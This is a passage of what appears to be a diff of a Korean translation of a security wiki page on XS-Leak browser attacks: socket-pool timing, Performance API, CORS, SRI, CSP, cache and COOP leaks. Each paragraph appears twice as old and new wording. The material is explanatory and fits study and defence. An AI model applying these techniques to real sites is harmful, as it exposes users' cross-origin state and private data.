2. 255개의 소켓을 다양한 호스트에 대한 255개의 요청을 시작하여 오랜 시간 동안 점유하여 연결을 열어 둡니다.
3. 256번째 소켓을 사용하여 대상 페이지에 요청을 보냅니다.
4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이 추론은 2단계에서 255개의 소켓이 여전히 사용 중이므로, 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 함을 의미합니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸리는 시간은 대상 페이지에 대한 요청이 완료되는 데 걸린 시간과 직접적으로 연결됩니다.
4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이는 2단계에서 255개의 소켓이 여전히 사용 중이므로, 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 한다는 것을 의미합니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸린 시간은 대상 페이지에 대한 요청이 완료되는 데 걸린 시간과 직접적으로 연결됩니다.
더 많은 정보: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -272,15 +272,15 @@ xs-search/connection-pool-example.md
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google **Chrome**은 **동일한 출처에 대해 6개의 동시 요청**에 제한을 둡니다. **5개를 차단**한 다음 **6번째** 요청을 시작하면 **시간을 측정**할 수 있으며, **피해자 페이지가** 동일한 엔드포인트에 **더 많은 요청을 보내도록** 만들 수 있다면, **6번째 요청**은 **더 오래 걸리며** 이를 감지할 수 있습니다.
- **Summary:** 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google **Chrome**은 **동일한 출처에 대해 6개의 동시 요청**으로 제한합니다. 만약 우리가 **5개를 차단**하고 **6번째** 요청을 시작하면, 이를 **타이밍**할 수 있으며, **피해자 페이지가 동일한 엔드포인트에 더 많은 요청을 보내도록** 만들 수 있다면, **6번째 요청**은 **더 오래 걸리게** 되어 이를 감지할 수 있습니다.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)는 웹 애플리케이션의 성능 메트릭에 대한 통찰력을 제공하며, [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API)로 더욱 풍부해집니다. Resource Timing API는 요청의 지속 시간과 같은 상세한 네트워크 요청 타이밍을 모니터링할 수 있게 해줍니다. 특히 서버가 응답에 `Timing-Allow-Origin: *` 헤더를 포함하면 전송 크기 및 도메인 조회 시간과 같은 추가 데이터가 제공됩니다.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)는 웹 애플리케이션의 성능 메트릭에 대한 통찰력을 제공하며, [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API)로 더욱 풍부해집니다. Resource Timing API는 요청의 지속 시간과 같은 상세한 네트워크 요청 타이밍을 모니터링할 수 있게 해줍니다. 특히, 서버가 응답에 `Timing-Allow-Origin: *` 헤더를 포함하면 전송 크기 및 도메인 조회 시간과 같은 추가 데이터가 제공됩니다.
이 풍부한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한 API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 브라우저의 특정 작업에 대해 `performance.now()`의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세분성에 영향을 미칠 수 있습니다.
이 풍부한 데이터는 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 또는 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한, API는 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)에서 얻은 타임스탬프의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 브라우저의 특정 작업에서는 `performance.now()`의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세밀함에 영향을 미칠 수 있습니다.
타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 위해 활용될 수 있습니다. 예를 들어, Chrome의 `performance` 객체에 페이지가 존재하는지 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 구체적으로, `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 페이지는 `performance` 객체에 기록되지 않으며, 이는 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.
타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 제공하는 데 활용될 수 있습니다. 예를 들어, Chrome의 `performance` 객체에 페이지가 존재하는지 여부는 `X-Frame-Options`의 적용을 나타낼 수 있습니다. 특히, `X-Frame-Options`로 인해 프레임에서 렌더링이 차단된 페이지는 `performance` 객체에 기록되지 않으므로 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.
### Error Leak
@ -307,7 +307,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** 오류가 발생하는 요청은 병합할 수 없습니다.
- **Summary:** 오류가 발생하는 요청은 병합될 수 없습니다.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
이 기술은 언급된 논문의 표에서 발견되었지만, 기술에 대한 설명은 발견되지 않았습니다. 그러나 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)에서 소스 코드를 확인할 수 있습니다.
@ -320,7 +320,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 빈 응답은 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
공격자는 요청이 빈 HTTP 응답 본체로 이어졌는지 감지할 수 있습니다. **빈 페이지는 일부 브라우저에서 성능 항목을 생성하지 않습니다**.
공격자는 요청이 빈 HTTP 응답 본체로 이어졌는지 감지할 수 있습니다. 왜냐하면 **빈 페이지는 일부 브라우저에서 성능 항목을 생성하지 않기 때문입니다**.
### **XSS-Auditor Leak**
@ -330,7 +330,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 보안 주장에서 XSS 감사기를 사용하여 공격자는 조작된 페이로드가 감사기의 필터링 메커니즘을 트리거할 때 응답의 변화를 관찰하여 특정 웹 페이지 요소를 감지할 수 있습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에서는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 합법적인 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 정보를 추출하고 교차 출처 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이 개념은 XS-Leaks로 알려져 있으며, 처음에는 Terada에 의해 보고되었고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않으므로 민감한 정보가 여전히 유출될 수 있는 방법이 밝혀졌습니다.
보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에서는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 합법적인 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 교차 출처 페이지에서 정보를 추출하고 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이 개념은 XS-Leaks로 알려져 있으며, 처음에는 Terada에 의해 보고되었고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않으므로 민감한 정보가 여전히 유출될 수 있는 방법이 밝혀졌습니다.
### X-Frame Leak
@ -340,8 +340,8 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** X-Frame-Options 헤더가 있는 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
페이지가 **iframe**에서 **렌더링**되는 것이 **허용되지 않는 경우** 성능 항목을 생성하지 않습니다. 결과적으로 공격자는 응답 헤더 **`X-Frame-Options`**를 감지할 수 있습니다.\
**embed** **태그**를 사용할 때도 마찬가지입니다.
페이지가 **iframe**에서 **렌더링되는 것이 허용되지 않는 경우**, 성능 항목을 **생성하지 않습니다**. 결과적으로 공격자는 응답 헤더 **`X-Frame-Options`**를 감지할 수 있습니다.\
**embed** **태그를 사용할 때도 마찬가지입니다.**
### Download Detection
@ -351,7 +351,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 다운로드는 Performance API에서 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
설명된 XS-Leak와 유사하게, **ContentDisposition** 헤더로 인해 **다운로드되는 리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.
설명된 XS-Leak와 유사하게, ContentDisposition 헤더로 인해 **다운로드되는 리소스**도 **성능 항목을 생성하지 않습니다**. 이 기술은 모든 주요 브라우저에서 작동합니다.
### Redirect Start Leak
@ -361,7 +361,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 리소스 타이밍 항목은 리디렉션의 시작 시간을 유출합니다.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 **SA**에서는 사용자가 대상 페이지에 의해 **리디렉션**되었는지 감지할 수 있습니다. Performance API를 쿼리하고 **redirectStart timing data**를 확인하여 가능합니다.
일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 동작을 악용하는 XS-Leak 인스턴스를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 **SA**에서는 사용자가 대상 페이지에 의해 **리디렉션**되었는지 감지할 수 있습니다. **Performance API**를 쿼리하고 **redirectStart 타이밍 데이터**를 확인함으로써 가능합니다.
### Duration Redirect Leak
@ -371,7 +371,7 @@ HTTP 응답 상태 코드를 **구별**할 수 있습니다. 오류로 이어지
- **Summary:** 리디렉션이 발생할 때 타이밍 항목의 지속 시간이 음수입니다.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음수**이며, 따라서 **리디렉션이 발생하지 않는 요청**과 **구별**할 수 있습니다.
GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음수**이며, 따라서 리디렉션이 발생하지 않는 요청과 **구별**될 수 있습니다.
### CORP Leak
@ -381,7 +381,7 @@ GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음
- **Summary:** CORP로 보호된 리소스는 리소스 타이밍 항목을 생성하지 않습니다.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
일부 경우, **nextHopProtocol entry**를 유출 기술로 사용할 수 있습니다. GC에서 **CORP header**가 설정되면 nextHopProtocol은 **비어 있습니다**. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않습니다.
일부 경우, **nextHopProtocol 항목**을 유출 기술로 사용할 수 있습니다. GC에서 **CORP 헤더**가 설정되면 nextHopProtocol은 **비어 있습니다**. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않습니다.
### Service Worker
@ -392,9 +392,9 @@ GC에서 **리디렉션**이 발생하는 요청의 **지속 시간**은 **음
- **Code Example**:
서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 이들은 웹 페이지의 백그라운드에서 실행되며, 리소스를 가로채고 수정하며 **오프라인 웹 애플리케이션**을 만들기 위해 리소스를 캐시할 수 있습니다.\
**서비스 워커**에 의해 **캐시된 리소스**가 **iframe**을 통해 접근되면, 리소스는 **서비스 워커 캐시**에서 **로드됩니다**.\
**서비스 워커**에 의해 **캐시된 리소스**가 **iframe**을 통해 접근될 경우, 리소스는 **서비스 워커 캐시**에서 **로드됩니다**.\
리소스가 **서비스 워커** 캐시에서 **로드되었는지 감지하기 위해 Performance API를 사용할 수 있습니다.\
이것은 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문을 참조하십시오).
이것은 타이밍 공격으로도 수행할 수 있습니다(더 많은 정보는 논문을 확인하세요).
### Cache
@ -470,27 +470,27 @@ err.message +
audioElement.onerror = errHandler
}
```
`MediaError` 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 악용하여 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.
`MediaError` 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 이용해 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.
### CORS 오류
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 무심코 노출합니다.
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.
- **코드 예제**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
이 기술은 공격자가 **교차 출처 사이트의 리디렉션 목적지를 추출**할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 악용하는 것입니다. 구체적으로, **CORS가 활성화된 요청**이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, **리디렉션의 대상 URL 전체**가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 끝점과 그 안에 포함될 수 있는 **민감한 쿼리 매개변수**를 노출합니다.
이 기술은 공격자가 **교차 출처 사이트의 리디렉션 목적지를 추출**할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 이용한 것입니다. 구체적으로, **CORS가 활성화된 요청**이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, **리디렉션의 대상 URL 전체**가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 엔드포인트와 포함될 수 있는 **민감한 쿼리 매개변수**를 노출합니다.
### SRI 오류
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 리디렉션된 요청의 전체 URL을 무심코 노출합니다.
- **요약:** 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.
- **코드 예제**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
공격자는 **상세한 오류 메시지**를 악용하여 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, SRI는 리소스가 CDNs에서 가져온 경우 변조되지 않았는지 검증하기 위해 무결성 속성을 사용합니다. SRI가 교차 출처 리소스에서 작동하려면 **CORS가 활성화되어야** 하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 마찬가지로, 무결성 속성이 실패한 fetch 요청 후 오류 메시지를 캡처할 수 있습니다. 공격자는 **가짜 해시 값**을 무결성 속성에 할당하여 이 오류를 의도적으로 **유발**할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 무심코 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.
공격자는 **상세 오류 메시지**를 이용해 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, SRI는 가져온 리소스가 변조되지 않았는지 확인하기 위해 무결성 속성을 사용합니다. 교차 출처 리소스에서 SRI가 작동하려면 **CORS가 활성화되어야** 하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 유사하게, 무결성 속성이 실패한 fetch 요청 후 오류 메시지를 캡처할 수 있습니다. 공격자는 **잘못된 해시 값**을 무결성 속성에 할당하여 **이 오류를 의도적으로 유발**할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 우연히 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.
### CSP 위반/감지
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
- **요약:** CSP에서 피해자의 웹사이트만 허용할 경우, 다른 도메인으로 리디렉션을 시도하면 CSP가 감지 가능한 오류를 발생시킵니다.
- **코드 예제**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있을 뿐만 아니라 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용하는 것**입니다. 대상 도메인에 요청이 발행되면 **교차 출처 도메인으로 리디렉션**됩니다. **CSP는** 이에 대한 접근을 차단하고 **유출 기법으로 사용되는 위반 보고서를 생성합니다**. 브라우저에 따라 **이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다**.\
현대 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.
XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있을 뿐만 아니라 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 **공격자 사이트에서 대상 도메인을 허용하는 것**입니다. 대상 도메인에 요청이 발행되면 **교차 출처 도메인으로 리디렉션**됩니다. **CSP는** 이에 대한 접근을 차단하고 **유출 기법으로 사용되는 위반 보고서를 생성**합니다. 브라우저에 따라 **이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다**.\
최신 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.
### 캐시
@ -513,7 +513,7 @@ XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리
브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 특정 파일이 **요청되었는지** 추론할 수 있습니다.
페이지가 사용자가 로그인한 경우에만 이미지를 로드하는 경우, **리소스를 무효화**하여 **요청을 수행**하고 **잘못된 요청**(예: 너무 긴 referer 헤더 사용)으로 리소스를 로드하려고 시도할 수 있습니다. 리소스 로드가 **오류를 유발하지 않았다면**, 이는 **캐시되었기 때문**입니다.
페이지가 사용자가 로그인했을 때만 이미지를 로드하는 경우, **리소스를 무효화**하여 **더 이상 캐시되지 않도록** 하고(자세한 정보 링크 참조), **해당 리소스를 로드할 수 있는 요청을 수행**한 후 **잘못된 요청으로 리소스를 로드하려고 시도**합니다(예: 너무 긴 referer 헤더를 사용). 리소스 로드가 **어떤 오류도 발생시키지 않았다면**, 이는 **캐시되었기 때문**입니다.
### CSP 지시문
@ -523,14 +523,14 @@ XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리
- **요약:** CSP 헤더 지시문은 CSP iframe 속성을 사용하여 조사할 수 있으며, 정책 세부정보를 드러냅니다.
- **코드 예제**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 하며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로, 포함된 콘텐츠는 **HTTP 헤더를 통해 이를 승인해야 하며**, 그렇지 않으면 **오류 페이지가 표시됩니다**. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문**을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 **새로운 유출 기법**을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.
Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 해주며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로, 포함된 콘텐츠는 **HTTP 헤더를 통해 이를 승인해야 하며**, 그렇지 않으면 **오류 페이지가 표시됩니다**. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 **특정 CSP 지시문**을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 **새로운 유출 기법**을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.
### **CORP**
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
- **자세한 정보**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **요약:** 교차 출처 리소스 정책(CORP)으로 보호된 리소스는 허용되지 않은 출처에서 가져올 때 오류를 발생시킵니다.
- **요약:** 교차 출처 리소스 정책(CORP)으로 보호된 리소스는 허용되지 않는 출처에서 가져올 때 오류를 발생시킵니다.
- **코드 예제**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP 헤더는 비교적 새로운 웹 플랫폼 보안 기능으로, 설정되면 **주어진 리소스에 대한 no-cors 교차 출처 요청을 차단합니다**. 헤더의 존재는 감지할 수 있으며, CORP로 보호된 리소스는 **가져올 때 오류를 발생시킵니다**.
@ -545,7 +545,7 @@ CORP 헤더는 비교적 새로운 웹 플랫폼 보안 기능으로, 설정되
공격에 대한 자세한 정보는 링크를 확인하세요.
### 출처 반사 잘못 구성으로 인한 CORS 오류 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
### 출처 반영 잘못된 구성에서의 CORS 오류 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
- **포함 방법**: Fetch API
- **감지 가능한 차이**: 헤더
@ -553,8 +553,8 @@ CORP 헤더는 비교적 새로운 웹 플랫폼 보안 기능으로, 설정되
- **요약**: Origin 헤더가 `Access-Control-Allow-Origin` 헤더에 반영되면 리소스가 이미 캐시에 있는지 확인할 수 있습니다.
- **코드 예제**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
**Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**되고 있다면, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **리소스를 가져오려고 시도할 수 있습니다**. **오류**가 **발생하지 않으면**, 이는 **웹에서 올바르게 검색되었음을 의미하며**, 오류가 **발생하면**, 이는 **캐시에서 접근되었기 때문입니다**(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다).\
Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Control-Allow-Origin: *`), 이는 작동하지 않습니다.
**Origin 헤더**가 `Access-Control-Allow-Origin` 헤더에 **반영**되고 있다면, 공격자는 이 동작을 악용하여 **CORS** 모드에서 **리소스를 가져오려고 시도**할 수 있습니다. **오류**가 **발생하지 않으면**, 이는 **웹에서 올바르게 검색되었음을 의미**하며, 오류가 **발생하면**, 이는 **캐시에서 접근되었기 때문**입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다).\
Origin이 반영되지 않고 와일드카드(`Access-Control-Allow-Origin: *`)가 사용되면 이 방법은 작동하지 않습니다.
## 읽을 수 있는 속성 기술
@ -566,7 +566,7 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
- **요약:** GC와 SA는 리디렉션이 완료된 후 응답의 유형(opaque-redirect)을 확인할 수 있습니다.
- **코드 예제**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
`redirect: "manual"` 및 기타 매개변수를 사용하여 Fetch API를 통해 요청을 제출하면, `response.type` 속성을 읽을 수 있으며, 이 값이 `opaqueredirect`와 같으면 응답이 리디렉션된 것입니다.
`redirect: "manual"` 및 기타 매개변수를 사용하여 Fetch API를 통해 요청을 제출하면, `response.type` 속성을 읽을 수 있으며, 이 값이 `opaqueredirect`와 같다면 응답은 리디렉션이었습니다.
### COOP
@ -576,7 +576,7 @@ Origin이 반영되지 않고 와일드카드가 사용되는 경우(`Access-Con
- **요약:** 교차 출처 오프너 정책(COOP)으로 보호된 페이지는 교차 출처 상호작용으로부터의 접근을 차단합니다.
- **코드 예제**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
공격자는 교차 출처 HTTP 응답에서 교차 출처 오프너 정책(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조**에 접근하려고 시도함으로써 감지할 수 있습니다. COOP가 조건부로 적용되는 경우, **`opener` 속성**은 결정적인 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 그렇지 않으면 **정의됩니다**.
공격자는 교차 출처 HTTP 응답에서 교차 출처 오프너 정책(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 **`contentWindow` 참조에 접근하려고 시도함으로써 감지할 수 있습니다**. COOP가 조건부로 적용되는 경우, **`opener` 속성**은 결정적인 지표가 됩니다: COOP가 활성화되면 **정의되지 않으며**, 비활성화되면 **정의됩니다**.
### URL 최대 길이 - 서버 측
